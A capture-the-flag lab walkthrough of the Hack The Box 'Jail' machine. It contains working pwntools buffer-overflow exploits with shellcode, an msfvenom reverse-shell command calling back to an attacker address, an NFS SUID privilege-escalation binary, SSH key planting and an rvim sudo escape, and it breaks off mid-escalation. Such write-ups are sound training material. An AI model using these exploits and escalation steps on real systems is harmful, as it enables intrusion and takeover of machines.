HTB WriteUps
  • â„šī¸Main Page
  • 👨‍đŸ’ģwhoami
  • Linux Machines
    • Lame
    • Shocker
    • Beep
    • Jarvis
    • Europa
    • Knife
    • Irked
    • Postman
    • Mango
    • Cap
    • Writer
    • Bashed
    • Nibbles
    • Valentine
    • SwagShop
    • Tabby
    • SolidState
    • Doctor
    • OpenAdmin
    • Haircut
    • Blocky
    • Time
    • Passage
    • Mirai
    • Popcorn
    • Magic
    • Delivery
    • Blunder
    • BountyHounter
    • Cronos
    • TartarSauce
    • Ophiuchi
    • Seal
    • Ready
    • Admirer
    • Traverxec
    • Nineveh
    • FriendZone
    • Frolic
    • SneakyMailer
    • Brainfuck
    • Jewel
    • Node
    • Networked
    • Joker
    • RedCross
    • Static
    • Zetta
    • Kotarak
    • Falafel
    • DevOops
    • Hawk
    • Lightweight
    • LaCasaDePapel
    • Jail
    • Safe
    • Bitlab
    • October
    • Book
    • Quick
    • Sink
    • Pit
    • Monitors
    • Unobtainium
    • Inception
    • Compromised
    • CrimeStoppers
    • OneTwoSeven
    • Oz
    • Ellingson
    • Holiday
    • FluJab
    • Spider
    • CTF
  • Windows Machines
    • Jerry
    • Love
    • Arctic
    • Forest
    • Fuse
    • Bastard
    • Silo
    • Devel
    • Remote
    • ServMon
    • Blue
    • Grandpa
    • Legacy
    • SecNotes
    • Omni
    • Active
    • Granny
    • Optimum
    • Worker
    • Bastion
    • Bounty
    • Buff
    • Breadcrums
    • Reel
    • Reel2
    • Conceal
    • Bankrobber
    • Jeeves
    • Bart
    • Tally
    • Netmon
    • Sizzle
    • Sniper
    • Control
    • Nest
    • Sauna
    • Cascade
    • Querier
    • Blackfield
    • APT
    • Atom
  • OTHER OS MACHINES
    • Sense
    • Luanne
    • Poison
    • Schooled
Powered by GitBook
On this page
  • Enumeration
  • Exploitation
  • Buffer Overflow
  • Privilege Escalation

Was this helpful?

  1. Linux Machines

Jail

Last updated 2 years ago

Was this helpful?

Enumeration

As always, we start with the enumeration phase, in which we try to scan the machine looking for open ports and finding out services and versions of those opened ports.

The following nmap command will scan the target machine looking for open ports in a fast way and saving the output into a file:

nmap -sS --min-rate 5000 -p- -T5 -Pn -n 10.10.10.34 -oN allPorts

  • -sS use the TCP SYN scan option. This scan option is relatively unobtrusive and stealthy, since it never completes TCP connections.

  • --min-rate 5000 nmap will try to keep the sending rate at or above 5000 packets per second.

  • -p- scanning the entire port range, from 1 to 65535.

  • -T5 insane mode, it is the fastest mode of the nmap time template.

  • -Pn assume the host is online.

  • -n scan without reverse DNS resolution.

  • -oN save the scan result into a file, in this case the allports file.

# Nmap 7.93 scan initiated Sun Mar 12 11:29:05 2023 as: nmap -sS --min-rate 5000 -p- -n -Pn -oN allPorts 10.10.10.34
Nmap scan report for 10.10.10.34
Host is up (0.058s latency).
Not shown: 65497 filtered tcp ports (no-response), 32 filtered tcp ports (host-prohibited)
PORT      STATE SERVICE
22/tcp    open  ssh
80/tcp    open  http
111/tcp   open  rpcbind
2049/tcp  open  nfs
7411/tcp  open  daqstream
20048/tcp open  mountd

# Nmap done at Sun Mar 12 11:29:32 2023 -- 1 IP address (1 host up) scanned in 26.51 seconds

Now that we know which ports are open, let's try to obtain the services and versions running on these ports. The following command will scan these ports more in depth and save the result into a file:

nmap -sC -sV -p22,80,111,2049,7411,20048 10.10.10.34 -oN targeted

  • -sC performs the scan using the default set of scripts.

  • -sV enables version detection.

  • -oN save the scan result into file, in this case the targeted file.

# Nmap 7.93 scan initiated Sun Mar 12 11:30:00 2023 as: nmap -sCV -p22,80,111,2049,7411,20048 -Pn -oN targeted 10.10.10.34
Nmap scan report for 10.10.10.34
Host is up (0.044s latency).

PORT      STATE SERVICE    VERSION
22/tcp    open  ssh        OpenSSH 6.6.1 (protocol 2.0)
| ssh-hostkey: 
|   2048 cdec197cdadc16e2a39d42f3184be64d (RSA)
|   256 af949f2f21d0e01dae8e7f1d7bd742ef (ECDSA)
|_  256 6bf8dc274f1c8967a467c5ed0753af97 (ED25519)
80/tcp    open  http       Apache httpd 2.4.6 ((CentOS))
| http-methods: 
|_  Potentially risky methods: TRACE
|_http-server-header: Apache/2.4.6 (CentOS)
|_http-title: Site doesn't have a title (text/html; charset=UTF-8).
111/tcp   open  rpcbind    2-4 (RPC #100000)
| rpcinfo: 
|   program version    port/proto  service
|   100000  2,3,4        111/tcp   rpcbind
|   100000  2,3,4        111/udp   rpcbind
|   100000  3,4          111/tcp6  rpcbind
|   100000  3,4          111/udp6  rpcbind
|   100003  3,4         2049/tcp   nfs
|   100003  3,4         2049/tcp6  nfs
|   100003  3,4         2049/udp   nfs
|   100003  3,4         2049/udp6  nfs
|   100005  1,2,3      20048/tcp   mountd
|   100005  1,2,3      20048/tcp6  mountd
|   100005  1,2,3      20048/udp   mountd
|   100005  1,2,3      20048/udp6  mountd
|   100021  1,3,4      35003/tcp6  nlockmgr
|   100021  1,3,4      37459/tcp   nlockmgr
|   100021  1,3,4      42608/udp   nlockmgr
|   100021  1,3,4      51891/udp6  nlockmgr
|   100024  1          39601/tcp   status
|   100024  1          50738/tcp6  status
|   100024  1          53721/udp6  status
|   100024  1          59375/udp   status
|   100227  3           2049/tcp   nfs_acl
|   100227  3           2049/tcp6  nfs_acl
|   100227  3           2049/udp   nfs_acl
|_  100227  3           2049/udp6  nfs_acl
2049/tcp  open  nfs_acl    3 (RPC #100227)
7411/tcp  open  daqstream?
| fingerprint-strings: 
|   DNSStatusRequestTCP, DNSVersionBindReqTCP, FourOhFourRequest, GenericLines, GetRequest, HTTPOptions, Help, JavaRMI, Kerberos, LANDesk-RC, LDAPBindReq, LDAPSearchReq, LPDString, NCP, NULL, NotesRPC, RPCCheck, RTSPRequest, SIPOptions, SMBProgNeg, SSLSessionReq, TLSSessionReq, TerminalServer, TerminalServerCookie, WMSRequest, X11Probe, afp, giop, ms-sql-s, oracle-tns: 
|_    OK Ready. Send USER command.
20048/tcp open  mountd     1-3 (RPC #100005)
1 service unrecognized despite returning data. If you know the service/version, please submit the following fingerprint at https://nmap.org/cgi-bin/submit.cgi?new-service :
SF-Port7411-TCP:V=7.93%I=7%D=3/12%Time=640DA9AE%P=x86_64-pc-linux-gnu%r(NU
SF:LL,1D,"OK\x20Ready\.\x20Send\x20USER\x20command\.\n")%r(GenericLines,1D
SF:,"OK\x20Ready\.\x20Send\x20USER\x20command\.\n")%r(GetRequest,1D,"OK\x2
SF:0Ready\.\x20Send\x20USER\x20command\.\n")%r(HTTPOptions,1D,"OK\x20Ready
SF:\.\x20Send\x20USER\x20command\.\n")%r(RTSPRequest,1D,"OK\x20Ready\.\x20
SF:Send\x20USER\x20command\.\n")%r(RPCCheck,1D,"OK\x20Ready\.\x20Send\x20U
SF:SER\x20command\.\n")%r(DNSVersionBindReqTCP,1D,"OK\x20Ready\.\x20Send\x
SF:20USER\x20command\.\n")%r(DNSStatusRequestTCP,1D,"OK\x20Ready\.\x20Send
SF:\x20USER\x20command\.\n")%r(Help,1D,"OK\x20Ready\.\x20Send\x20USER\x20c
SF:ommand\.\n")%r(SSLSessionReq,1D,"OK\x20Ready\.\x20Send\x20USER\x20comma
SF:nd\.\n")%r(TerminalServerCookie,1D,"OK\x20Ready\.\x20Send\x20USER\x20co
SF:mmand\.\n")%r(TLSSessionReq,1D,"OK\x20Ready\.\x20Send\x20USER\x20comman
SF:d\.\n")%r(Kerberos,1D,"OK\x20Ready\.\x20Send\x20USER\x20command\.\n")%r
SF:(SMBProgNeg,1D,"OK\x20Ready\.\x20Send\x20USER\x20command\.\n")%r(X11Pro
SF:be,1D,"OK\x20Ready\.\x20Send\x20USER\x20command\.\n")%r(FourOhFourReque
SF:st,1D,"OK\x20Ready\.\x20Send\x20USER\x20command\.\n")%r(LPDString,1D,"O
SF:K\x20Ready\.\x20Send\x20USER\x20command\.\n")%r(LDAPSearchReq,1D,"OK\x2
SF:0Ready\.\x20Send\x20USER\x20command\.\n")%r(LDAPBindReq,1D,"OK\x20Ready
SF:\.\x20Send\x20USER\x20command\.\n")%r(SIPOptions,1D,"OK\x20Ready\.\x20S
SF:end\x20USER\x20command\.\n")%r(LANDesk-RC,1D,"OK\x20Ready\.\x20Send\x20
SF:USER\x20command\.\n")%r(TerminalServer,1D,"OK\x20Ready\.\x20Send\x20USE
SF:R\x20command\.\n")%r(NCP,1D,"OK\x20Ready\.\x20Send\x20USER\x20command\.
SF:\n")%r(NotesRPC,1D,"OK\x20Ready\.\x20Send\x20USER\x20command\.\n")%r(Ja
SF:vaRMI,1D,"OK\x20Ready\.\x20Send\x20USER\x20command\.\n")%r(WMSRequest,1
SF:D,"OK\x20Ready\.\x20Send\x20USER\x20command\.\n")%r(oracle-tns,1D,"OK\x
SF:20Ready\.\x20Send\x20USER\x20command\.\n")%r(ms-sql-s,1D,"OK\x20Ready\.
SF:\x20Send\x20USER\x20command\.\n")%r(afp,1D,"OK\x20Ready\.\x20Send\x20US
SF:ER\x20command\.\n")%r(giop,1D,"OK\x20Ready\.\x20Send\x20USER\x20command
SF:\.\n");

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
# Nmap done at Sun Mar 12 11:32:48 2023 -- 1 IP address (1 host up) scanned in 168.66 seconds

Let's start with the HTTP server. It shows a simple drawing of a jail and not much more.

Using feroxbuster, we'll see there is a directory called jailuser.

feroxbuster --url http://10.10.10.34/ --wordlist /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -t 200 -x txt,php,html

  • --url target URL.

  • --depth maximum recursion depth..

  • --wordlist specify a wordlist file.

  • -x file extension to search for.

 ___  ___  __   __     __      __         __   ___
|__  |__  |__) |__) | /  `    /  \ \_/ | |  \ |__
|    |___ |  \ |  \ | \__,    \__/ / \ | |__/ |___
by Ben "epi" Risher 🤓                 ver: 2.7.3
───────────────────────────â”Ŧ──────────────────────
 đŸŽ¯  Target Url            │ http://10.10.10.34/
 🚀  Threads               │ 200
 📖  Wordlist              │ /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt
 👌  Status Codes          │ [200, 204, 301, 302, 307, 308, 401, 403, 405, 500]
 đŸ’Ĩ  Timeout (secs)        │ 7
 đŸĻĄ  User-Agent            │ feroxbuster/2.7.3
 💉  Config File           │ /etc/feroxbuster/ferox-config.toml
 💾  Output File           │ feroxbuster.txt
 💲  Extensions            │ [txt, php, html]
 🏁  HTTP methods          │ [GET]
 🔃  Recursion Depth       │ 4
 🎉  New Version Available │ https://github.com/epi052/feroxbuster/releases/latest
───────────────────────────┴──────────────────────
 🏁  Press [ENTER] to use the Scan Management Menuâ„ĸ
──────────────────────────────────────────────────
200      GET       42l      173w     2106c http://10.10.10.34/
403      GET        8l       22w      207c http://10.10.10.34/.html
200      GET       42l      173w     2106c http://10.10.10.34/index.html
200      GET       15l       48w      347c http://10.10.10.34/prisoner.html
301      GET        7l       20w      236c http://10.10.10.34/jailuser => http://10.10.10.34/jailuser/
[####################] - 8m   1764368/1764368 0s      found:5       errors:543    
[####################] - 8m    882184/882184  1693/s  http://10.10.10.34/ 
[####################] - 0s    882184/882184  0/s     http://10.10.10.34/jailuser/ => Directory listing (add -e to scan)

This directory contains another one called dev.

Which contains three files. Let's download them to our current directory.

Exploitation

The compile.sh file is a bash script to compile the jail.c code into the jail binary. It does the compilation for a 32 bits environment and makes the stack executable.

gcc -o jail jail.c -m32 -z execstack
service jail stop
cp jail /usr/local/bin/jail
service jail start

If we review the code of the binary, we'll see the following.

  • The main function creates a socket that listens on port 7411 accepting connections.

int main(int argc, char *argv[]) {
    int sockfd;
    int newsockfd;
    int port;
    int clientlen;
    char buffer[256];
    struct sockaddr_in server_addr;
    struct sockaddr_in client_addr;
    int n;
    int pid;
    int sockyes;
    sockyes = 1;
    sockfd = socket(AF_INET, SOCK_STREAM, 0);
    if (sockfd < 0) {
        perror("Socket error");
        exit(1);
    }
    if (setsockopt(sockfd, SOL_SOCKET, SO_REUSEADDR, &sockyes, sizeof(int)) == -1) {
        perror("Setsockopt error");
        exit(1);
    }
    memset((char*)&server_addr, 0, sizeof(server_addr));
    port = 7411;
    server_addr.sin_family = AF_INET;
    server_addr.sin_addr.s_addr = INADDR_ANY;
    server_addr.sin_port = htons(port);
    if (bind(sockfd, (struct sockaddr*)&server_addr, sizeof(server_addr)) < 0) {
        perror("Bind error");
        exit(1);
    }
    listen(sockfd, 200);
    clientlen = sizeof(client_addr);
    while (1) {
        newsockfd = accept(sockfd, (struct sockaddr*)&client_addr, &clientlen);
        if (newsockfd < 0) {
            perror("Accept error");
            exit(1);
        }
        pid = fork();
        if (pid < 0) {
            perror("Fork error");
            exit(1);
        }
        if (pid == 0) {
            close(sockfd);
            exit(handle(newsockfd));
        } else {
            close(newsockfd);
        }
    }
}
  • There are hard-coded credentials.

if (strcmp(username, "admin") != 0) return 0;
   strcpy(userpass, password);
if (strcmp(userpass, "1974jailbreak!") == 0)
  • There is a initial loop checking for lines that start with USER, PASS or DEBUG.

if (strncmp(token, "USER ", 5) == 0) {
    strncpy(username, token+5, sizeof(username));
    gotuser=1;
    if (gotpass == 0) {
        printf("OK Send PASS command.\n");
        fflush(stdout);
        }
} else if (strncmp(token, "PASS ", 5) == 0) {
    strncpy(password, token+5, sizeof(password));
    gotpass=1;
    if (gotuser == 0) {
        printf("OK Send USER command.\n");
        fflush(stdout);
    }
} else if (strncmp(token, "DEBUG", 5) == 0) {
    if (debugmode == 0) {
        debugmode = 1;
        printf("OK DEBUG mode on.\n");
        fflush(stdout);
    } else if (debugmode == 1) {
        debugmode = 0;
        printf("OK DEBUG mode off.\n");
        fflush(stdout);
    }
}
  • The userpass buffer is only 16 bytes long, but there is no check to ensure that the password parameter passed to the function will fit within the userpass buffer. This means that we could pass in a long password that would overflow the buffer and overwrite adjacent memory, potentially allowing the attacker to execute arbitrary code or take control of the system.

int auth(char *username, char *password) {
    char userpass[16];
    char *response;
    if (debugmode == 1) {
        printf("Debug: userpass buffer @ %p\n", userpass);
        fflush(stdout);
    }
    if (strcmp(username, "admin") != 0) return 0;
    strcpy(userpass, password); // vulnerable line
    if (strcmp(userpass, "1974jailbreak!") == 0) {
        return 1;
    } else {
        printf("Incorrect username and/or password.\n");
        return 0;
    }
    return 0;
}
  • By entering the DEBUG mode and introducing the credentials, we get an address that is always the same. This might be useful later.

nc 10.10.10.34 7411

OK Ready. Send USER command.
DEBUG
OK DEBUG mode on.
USER admin
OK Send PASS command.
PASS 1974jailbreak!
Debug: userpass buffer @ 0xffffd610
OK Authentication success. Send command.

Buffer Overflow

Let's exploit the buffer overflow vulnerability found in the jail binary. Run the binary with gdb.

gdb ./jail

Run the binary. To interact with it, we'll have to run the following commands.

gef➤ set detach-on-fork off

gef➤ set follow-fork-mode child

gef➤ r

Now, we can connect to the localhost on port 7411 and send a bunch of A characters as the password.

nc localhost 7411

OK Ready. Send USER command.
USER admin
OK Send PASS command.
PASS AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA

We should have overwritten all the registries, including EIP and ESP.

────────────────────────────────────────────────────────────────────────────────────────────────────── registers ────
$eax   : 0x0       
$ebx   : 0xf7e1cff4  →  0x0021cd8c
$ecx   : 0xf7e1e9b8  →  0x00000000
$edx   : 0x1       
$esp   : 0xffffcaf0  →  "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"
$ebp   : 0x41414141 ("AAAA"?)
$esi   : 0x8048e70  →  <__libc_csu_init+0> push ebp
$edi   : 0xf7ffcb80  →  0x00000000
$eip   : 0x41414141 ("AAAA"?)
$eflags: [ZERO carry PARITY adjust sign trap INTERRUPT direction overflow RESUME virtualx86 identification]
$cs: 0x23 $ss: 0x2b $ds: 0x2b $es: 0x2b $fs: 0x00 $gs: 0x63 
────────────────────────────────────────────────────────────────────────────────────────────────────────── stack ────
0xffffcaf0│+0x0000: "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"   ← $esp
0xffffcaf4│+0x0004: "AAAAAAAAAAAAAAAAAAAAAAAAAAAA"
0xffffcaf8│+0x0008: "AAAAAAAAAAAAAAAAAAAAAAAA"
0xffffcafc│+0x000c: "AAAAAAAAAAAAAAAAAAAA"
0xffffcb00│+0x0010: "AAAAAAAAAAAAAAAA"
0xffffcb04│+0x0014: "AAAAAAAAAAAA"
0xffffcb08│+0x0018: "AAAAAAAA"
0xffffcb0c│+0x001c: "AAAA"
──────────────────────────────────────────────────────────────────────────────────────────────────── code:x86:32 ────
[!] Cannot disassemble from $PC
[!] Cannot access memory at address 0x41414141
──────────────────────────────────────────────────────────────────────────────────────────────────────── threads ────
[#0] Id 1, Name: "jail", stopped 0x41414141 in ?? (), reason: SIGSEGV
────────────────────────────────────────────────────────────────────────────────────────────────────────── trace ────
─────────────────────────────────────────────────────────────────────────────────────────────────────────────────────

Before continuing, note that the address that we get in the DEBUG mode when the binary is executed in our local machine is 0xffffcad0.

nc localhost 7411

OK Ready. Send USER command.
DEBUG
OK DEBUG mode on.
USER admin
OK Send PASS command.
PASS 1974jailbreak!
Debug: userpass buffer @ 0xffffcad0
OK Authentication success. Send command.

As in every buffer overflow, we need to find the offset to control the EIP value. Create a pattern with gef and copy it.

gef➤ pattern create 50

[+] Generating a pattern of 50 bytes (n=4)
aaaabaaacaaadaaaeaaafaaagaaahaaaiaaajaaakaaalaaama
[+] Saved as '$_gef0'

Now, restart the program. As the copy of the program that gdb is using crashes, we'll need to kill its PID every time it crashes.

lsof -i:7411 | grep root | awk '{print $2}' | xargs kill -9

gef➤ r

Send the pattern we created as the password.

nc localhost 7411

OK Ready. Send USER command.
USER admin
OK Send PASS command.
PASS aaaabaaacaaadaaaeaaafaaagaaahaaaiaaajaaakaaalaaama

The offset is 28, which means that after 28 bytes of junk we start overwriting EIP.

gef➤ pattern offset $eip

[+] Searching for '$eip'
[+] Found at offset 28 (little-endian search) likely
[+] Found at offset 25 (big-endian search)

We have control of EIP. Send 28 A characters, followed by 4 B characters and 10 C characters as the password.

nc localhost 7411

OK Ready. Send USER command.
USER admin
OK Send PASS command.
PASS AAAAAAAAAAAAAAAAAAAAAAAAAAAABBBBCCCCCCCCCC

As seen, we have overwritten EIP with 4 B characters, and ESP with C characters.

────────────────────────────────────────────────────────────────────────────────────────────────────── registers ────
$eax   : 0x0       
$ebx   : 0xf7e1cff4  →  0x0021cd8c
$ecx   : 0xf7e1e9b8  →  0x00000000
$edx   : 0x1       
$esp   : 0xffffcaf0  →  "CCCCCCCCCC"
$ebp   : 0x41414141 ("AAAA"?)
$esi   : 0x8048e70  →  <__libc_csu_init+0> push ebp
$edi   : 0xf7ffcb80  →  0x00000000
$eip   : 0x42424242 ("BBBB"?)
$eflags: [ZERO carry PARITY adjust sign trap INTERRUPT direction overflow RESUME virtualx86 identification]
$cs: 0x23 $ss: 0x2b $ds: 0x2b $es: 0x2b $fs: 0x00 $gs: 0x63 
────────────────────────────────────────────────────────────────────────────────────────────────────────── stack ────
0xffffcaf0│+0x0000: "CCCCCCCCCC"         ← $esp
0xffffcaf4│+0x0004: "CCCCCC"
0xffffcaf8│+0x0008: 0x004343 ("CC"?)
0xffffcafc│+0x000c: 0xffffcb38  →  0x00000000
0xffffcb00│+0x0010: 0xffffca70  →  0xf7e1dda0  →  0xfbad2884
0xffffcb04│+0x0014: 0x00000000
0xffffcb08│+0x0018: 0x00000000
0xffffcb0c│+0x001c: 0x41410000
──────────────────────────────────────────────────────────────────────────────────────────────────── code:x86:32 ────
[!] Cannot disassemble from $PC
[!] Cannot access memory at address 0x42424242
──────────────────────────────────────────────────────────────────────────────────────────────────────── threads ────
[#0] Id 1, Name: "jail", stopped 0x42424242 in ?? (), reason: SIGSEGV
────────────────────────────────────────────────────────────────────────────────────────────────────────── trace ────
─────────────────────────────────────────────────────────────────────────────────────────────────────────────────────

As the script was compiled by disabling data execution prevention, it is possible to write shellcode into the stack. The idea is to inject the shellcode into ESP, and point to it with EIP. But we don't know the address of ESP running in the jail machine.

But we have the address 0xffffcad0 that we got with the DEBUG mode. If we check its content, we'll see that it contains the payload we just sent.

gef➤ x/s 0xffffcad0

0xffffcad0:     'A' <repeats 28 times>, "BBBBCCCCCCCCCC"

This means that it is the address of the userpass variable. This means that we can calculate the address of ESP, and point to it with EIP. As the offset is 28, and 4 bytes after EIP is ESP, that means that the address of the userpass variable plus 32 is the address of ESP.

Now, we have everything we need to exploit the buffer overflow. But first, we have to generate our shellcode.

msfvenom -p linux/x86/shell_reverse_tcp LHOST=10.10.14.5 LPORT=4444 -b "\x00\x0a" -f python

The following script will send as the password a payload that consists of the junk, followed by the address of ESP where EIP is located and the shellcode where ESP is located. This way the program will reach EIP, point to ESP, and the shellcode will be executed.

#!/usr/bin/python3

from pwn import *

context(os="linux", arch="i386")
p = remote("127.0.0.1", 7411)

offset = 28
before_eip = b"A" * offset
eip = p32(0xffffcad0+32)

buf = b"\xbe\xd8\x13\x20\x02\xd9\xcb\xd9\x74\x24\xf4\x5a"
buf += b"\x31\xc9\xb1\x12\x83\xc2\x04\x31\x72\x0e\x03\xaa"
buf += b"\x1d\xc2\xf7\x7b\xf9\xf5\x1b\x28\xbe\xaa\xb1\xcc"
buf += b"\xc9\xac\xf6\xb6\x04\xae\x64\x6f\x27\x90\x47\x0f"
buf += b"\x0e\x96\xae\x67\x9b\x62\x5f\x72\xf3\x70\x5f\x6d"
buf += b"\x5f\xfc\xbe\x3d\x39\xae\x11\x6e\x75\x4d\x1b\x71"
buf += b"\xb4\xd2\x49\x19\x29\xfc\x1e\xb1\xdd\x2d\xce\x23"
buf += b"\x77\xbb\xf3\xf1\xd4\x32\x12\x45\xd1\x89\x55"

payload = before_eip + eip + buf

p.recvuntil(b"OK Ready. Send USER command.")
p.sendline(b"USER admin")
p.recvuntil(b"OK Send PASS command.")
p.sendline(b"PASS " + payload)

p.interactive()
#!/usr/bin/python3

from pwn import *

context(os="linux", arch="i386")
p = remote("127.0.0.1", 7411)

offset = 28
before_eip = b"A" * offset
eip = p32(0xffffcad0+32)

# Linux/x86 - execve(/bin/sh) + Socket Re-Use Shellcode (50 bytes)
buf = b"\x6a\x02\x5b\x6a\x29\x58\xcd\x80\x48\x89\xc6"
buf += b"\x31\xc9\x56\x5b\x6a\x3f\x58\xcd\x80\x41\x80"
buf += b"\xf9\x03\x75\xf5\x6a\x0b\x58\x99\x52\x31\xf6"
buf += b"\x56\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e"
buf += b"\x89\xe3\x31\xc9\xcd\x80";

payload = before_eip + eip + buf

p.recvuntil(b"OK Ready. Send USER command.")
p.sendline(b"USER admin")
p.recvuntil(b"OK Send PASS command.")
p.sendline(b"PASS " + payload)

p.interactive()

Now the script should work, and we should get a bash shell.

python overflow.py

❯ python overflow.py
[+] Opening connection to 127.0.0.1 on port 7411: Done
[*] Switching to interactive mode

$ whoami
root

It's time to exploit the victim machine. All we have to do is change the address of the userpass variable to the one we got earlier, and change the IP address to 10.10.10.34.

#!/usr/bin/python3

from pwn import *

context(os="linux", arch="i386")
p = remote("10.10.10.34", 7411)

offset = 28
before_eip = b"A" * offset
eip = p32(0xffffd610+32)

# Linux/x86 - execve(/bin/sh) + Socket Re-Use Shellcode (50 bytes)
buf = b"\x6a\x02\x5b\x6a\x29\x58\xcd\x80\x48\x89\xc6"
buf += b"\x31\xc9\x56\x5b\x6a\x3f\x58\xcd\x80\x41\x80"
buf += b"\xf9\x03\x75\xf5\x6a\x0b\x58\x99\x52\x31\xf6"
buf += b"\x56\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e"
buf += b"\x89\xe3\x31\xc9\xcd\x80";

payload = before_eip + eip + buf

p.recvuntil(b"OK Ready. Send USER command.")
p.sendline(b"USER admin")
p.recvuntil(b"OK Send PASS command.")
p.sendline(b"PASS " + payload)

p.interactive()

Run the script and get a shell as nobody in the jail machine.

❯ python overflow.py
[+] Opening connection to 10.10.10.34 on port 7411: Done
[*] Switching to interactive mode

$ whoami
nobody

Privilege Escalation

Port 2049 (NFS) is also open as we saw in the nmap scan. By reading the /etc/exports we'll see two directories configured as no_all_squash, which basically gives authority to any user on the client to access files on the NFS server as that user.

cat /etc/exports

/var/nfsshare *(rw,sync,root_squash,no_all_squash)
/opt *(rw,sync,root_squash,no_all_squash)

Both can be mounted to our local machine.

showmount -e 10.10.10.34

Export list for 10.10.10.34:
/opt          *
/var/nfsshare *

Let's create two directories in /mnt, and mount the shares there.

mkdir /mnt/opt /mnt/var

mount -t nfs 10.10.10.34:/opt /mnt/opt/

mount -t nfs 10.10.10.34:/var/nfsshare /mnt/var/

Note that my local user alfa8sa with UID 1000 has permission to create files on the /mnt/var directory.

ls -la /mnt/

total 8
drwxr-xr-x  4 root root    4096 Mar 12 22:17 .
drwxr-xr-x 21 root root    4096 Mar 12 22:17 ..
drwxr-xr-x  4 root root      33 Jun 26  2017 opt
drwx-wx--x  2 root alfa8sa   45 Mar 12 15:11 var

This means that if I create a file as alfa8sa, it will have the permissions of the user with the UID 1000 on the jail machine, which is the frank user.

grep 1000 /etc/passwd

frank:x:1000:1000:frank:/home/frank:/bin/bash

The idea is to create a binary that will spawn a shell, and give it SUID permissions. First, on our local machine, create a file with the following C code.

#include <stdlib.h>
#include <unistd.h>

int main(void) {
    setresuid(1000, 1000, 1000);
    system("/bin/bash");
    return 0;
}

Now, compile it.

gcc privesc.c -o privesc -static

Then, become your local user with UID 1000, in my case is alfa8sa, and copy the binary to the /mnt/var/ directory.

su alfa8sa

cp privesc /mnt/var/

Give the file SUID permissions.

chmod +s /mnt/var/privesc

Now, on the jail machine, run the binary and get a shell as frank. Then, we'll be able to grab the user flag.

/var/nfsshare/privesc

$ whoami
frank
$ cat /home/frank/user.txt
9c335245b90fc27399e7bfdaed742272

As the frank user has an authorized_keys file in his .ssh directory, we could put our public SSH key there and get a shell via SSH. First, create a pair of keys on our local machine. We'll have to do it with a special algorithm because RSA don't work in this machine.

ssh-keygen -t ecdsa -b 521

Copy our public key.

cat id_ecdsa.pub | tr -d "\n" | xclip -sel clip

And put it in the authorized_keys file of the victim machine.

echo "ecdsa-sha2-nistp521 AAAAE2VjZHNhLXNoYTItbmlzdHA1MjEAAAAIbmlzdHA1MjEAAACFBAEJNUqSy8E5Ka/cS9EcYf0qumTN76Wklp4QpGILKRMu9meL7vSnuX6MA3jVWdnac+NXgodK0eBFiXj9qSjCDEtQSABmg5mBxBqQZifCJ9OjImt5qx9EIgSREordLWX+zApCOwOcfkUxhvACC+M4cZhUbxo7baN+OLop1a4YBNm/b1V30A== root@alfa8sa" > /home/frank/.ssh/authorized_keys

Finally, get a shell with SSH.

ssh -i id_ecdsa frank@10.10.10.34

The authenticity of host '10.10.10.34 (10.10.10.34)' can't be established.
ED25519 key fingerprint is SHA256:EDRmVqe5F/kWQaAYcJa7S1KHu5eANG67Izd7IasI8dY.
This key is not known by any other names.
Are you sure you want to continue connecting (yes/no/[fingerprint])? yes
Warning: Permanently added '10.10.10.34' (ED25519) to the list of known hosts.
[frank@localhost ~]$ whoami
frank

If we list sudo permissions, we'll see that we can run /usr/bin/rvim on /var/www/html/jailuser/dev/jail.c as the adm user.

sudo -l

Matching Defaults entries for frank on this host:
    !visiblepw, always_set_home, env_reset, env_keep="COLORS DISPLAY HOSTNAME HISTSIZE KDEDIR LS_COLORS", env_keep+="MAIL PS1 PS2 QTDIR USERNAME LANG LC_ADDRESS
    LC_CTYPE", env_keep+="LC_COLLATE LC_IDENTIFICATION LC_MEASUREMENT LC_MESSAGES", env_keep+="LC_MONETARY LC_NAME LC_NUMERIC LC_PAPER LC_TELEPHONE",
    env_keep+="LC_TIME LC_ALL LANGUAGE LINGUAS _XKB_CHARSET XAUTHORITY", secure_path=/sbin\:/bin\:/usr/sbin\:/usr/bin

User frank may run the following commands on this host:
    (frank) NOPASSWD: /opt/logreader/logreader.sh                                                                    
    (adm) NOPASSWD: /usr/bin/rvim /var/www/html/jailuser/dev/jail.c

If we search for rvim in the GTFOBins list, we can see that we can spawn a shell with the sudo privilege.

GTFOBins is a great list of binaries that can be used to escalate privileges if you have the right permissions:

First, run the command that we are allowed to run as adm.

sudo -u adm /usr/bin/rvim /var/www/html/jailuser/dev/jail.c

Then, type : and run the following python command which will spawn a shell as adm.

py import os; os.execl("/bin/sh", "sh", "-pc", "reset; exec sh -p")

Erase is control-H (^H).
sh-4.2$ whoami
adm

The adm home directory is /var/adm.

echo $HOME

/var/adm

If contains a directory called .keys.

ls -la /var/adm

total 4
drwxr-x---.  3 root adm    19 Jul  3  2017 .
drwxr-xr-x. 23 root root 4096 Mar 12 03:23 ..
drwxr-x---.  3 root adm    52 Jul  3  2017 .keys

Which contains a compressed file called keys.rar, another directory called .local, and a file called note.txt.

ls -la /var/adm/.keys

total 8
drwxr-x---. 3 root adm  52 Jul  3  2017 .
drwxr-x---. 3 root adm  19 Jul  3  2017 ..
-rw-r-----. 1 root adm 475 Jul  3  2017 keys.rar
drwxr-x---. 2 root adm  20 Jul  3  2017 .local
-rw-r-----. 1 root adm 154 Jul  3  2017 note.txt

Let's base64 the keys.rar file and copy it.

base64 -w 0 /var/adm/.keys/keys.rar; echo

Decode it in our local machine.

echo "UmF...AA==" | base64 -d > keys.rar

If we try to decompress the file, we'll see that it asks for a password.

unrar x keys.rar

UNRAR 6.21 beta 1 freeware      Copyright (c) 1993-2023 Alexander Roshal


Extracting from keys.rar

Enter password (will not be echoed) for rootauthorizedsshkey.pub:

The note.txt file says that some password is the last name of frank followed by four numbers and a special character.

cat /var/adm/.keys/note.txt

Note from Administrator:
Frank, for the last time, your password for anything encrypted must be your last name followed by a 4 digit number and a symbol.

The .local directory has another file inside called .frank.

ls -la /var/adm/.keys/.local

total 4
drwxr-x---. 2 root adm  20 Jul  3  2017 .
